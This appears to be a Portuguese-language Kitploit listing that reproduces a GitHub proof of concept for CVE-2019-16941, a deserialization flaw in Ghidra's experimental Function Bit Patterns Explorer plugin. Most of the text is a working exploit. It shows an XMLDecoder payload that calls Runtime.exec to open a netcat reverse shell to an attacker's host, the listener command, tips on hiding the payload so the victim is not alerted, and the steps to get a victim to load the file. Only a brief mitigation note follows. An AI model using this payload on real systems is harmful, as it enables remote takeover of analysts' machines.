Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-16941 — PoC para CVE-2019-16941 | Kitploit
Ferramentas/GitHubGitHub/purpleracc00n/cve-2019-16941
Análise de VulnerabilidadesAnálise de CódigoExploraçãoEngenharia ReversaDesenvolvimento de PayloadsExploração de Binários
GitHubpurpleracc00n/cve-2019-16941

CVE-2019-16941

PoC para CVE-2019-16941

Ver Repositório
42há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-16941

Prova de Conceito:

A vulnerabilidade exige múltiplas condições relativamente improváveis para ser acionada, o que limita sua explorabilidade. No entanto, é necessário pouco esforço e entendimento para preparar um payload, dado que ele pode resultar em execução arbitrária de código.

Criando o payload:

Para criar um payload para o alvo executar, pode ser utilizado um script incorporado ao Ghidra. Para acessá-lo, clique em "Window" -> "Script Manager" e execute "DumpFunctionPatternInfoScript.java" com os parâmetros padrão em qualquer binário que você tenha incluído no Code Browser (mas certifique-se de que o caminho para a pasta onde deseja salvar a saída exista). Este script produz um arquivo de saída XML que será carregado posteriormente no componente vulnerável.

Figura 1 Criar um modelo para o payload

Este modelo XML pode ser usado para injetar o objeto que será desserializado como código Java e executado silenciosamente, sem alertar o usuário. Essencialmente, o código malicioso será inserido como um objeto adicional no final do arquivo XML, antes da tag de fechamento . Um exemplo de payload de objeto que representa uma shell reversa é o seguinte:

root@kitploit:~
<object class="java.lang.Runtime" method="getRuntime"> 
  <void method="exec"> 
    <string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string> 
  </void> 
</object>

O exemplo acima será desserializado no seguinte código Java:

root@kitploit:~
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")

As opções são ilimitadas em termos de payload, já que qualquer código Java (até mesmo malware sofisticado) pode ser executado dessa forma, desde que seja corretamente serializado no formato XML exigido pelo XMLDecoder. Deve-se ter cuidado se o payload for inserido em outro lugar dentro do modelo (para ficar ainda mais oculto), pois isso pode produzir exceções durante a desserialização, alertando assim o usuário.

Baixar ferramenta

Execução:

O processo pelo qual o payload é executado faz uso da GUI do Ghidra e não pode ser automatizado. Em vez disso, requer interação humana da vítima, o que representa outra condição para que o exploit seja executado.

Para que este exploit funcione no computador da vítima, o Ghidra precisa ter o plugin Experimental "FunctionBitPatternsExplorer" habilitado. Isso pode ser alcançado seguindo os passos abaixo:

Figura 2 Ativar Plugin Experimental

Em seguida, o usuário precisará abrir o plugin em "Window" -> "Function Bit Patterns Explorer" e carregar o arquivo XML usando a funcionalidade "Read XML Files". Isso, no entanto, levanta outro desafio para as condições. O atacante precisa de uma forma de fazer o usuário baixar o payload XML para sua máquina.

De volta à perspectiva da vítima, a função não permitirá que você veja os arquivos XML na lista, portanto, se o diretório parecer vazio, é normal. Se você começar a digitar o nome deles na caixa de texto "File name", eles aparecerão; no entanto, é importante não selecionar nenhum deles e deixar o seletor apontando para o diretório, pois ele escolherá os arquivos por conta própria.

Figura 3 Executando o payload

Antes que o usuário clique em "OK", o atacante (joe) precisará estar executando um listener em seu host remoto e aguardar a conexão. Isso pode ser facilmente alcançado usando:

root@kitploit:~
$ nc -lvnp <listening_port>

Após a execução, os resultados podem ser vistos abaixo:

Figura 4 Shell Reversa

É altamente improvável que a vulnerabilidade seja explorável em larga escala devido à multiplicidade de condições envolvidas. Até que um novo patch seja fornecido, as melhores circunstâncias de mitigação implicam desabilitar (ou não habilitar em primeiro lugar) o plugin experimental afetado. No entanto, caso o plugin precise ser usado, os arquivos XML devem ser originados de uma fonte confiável.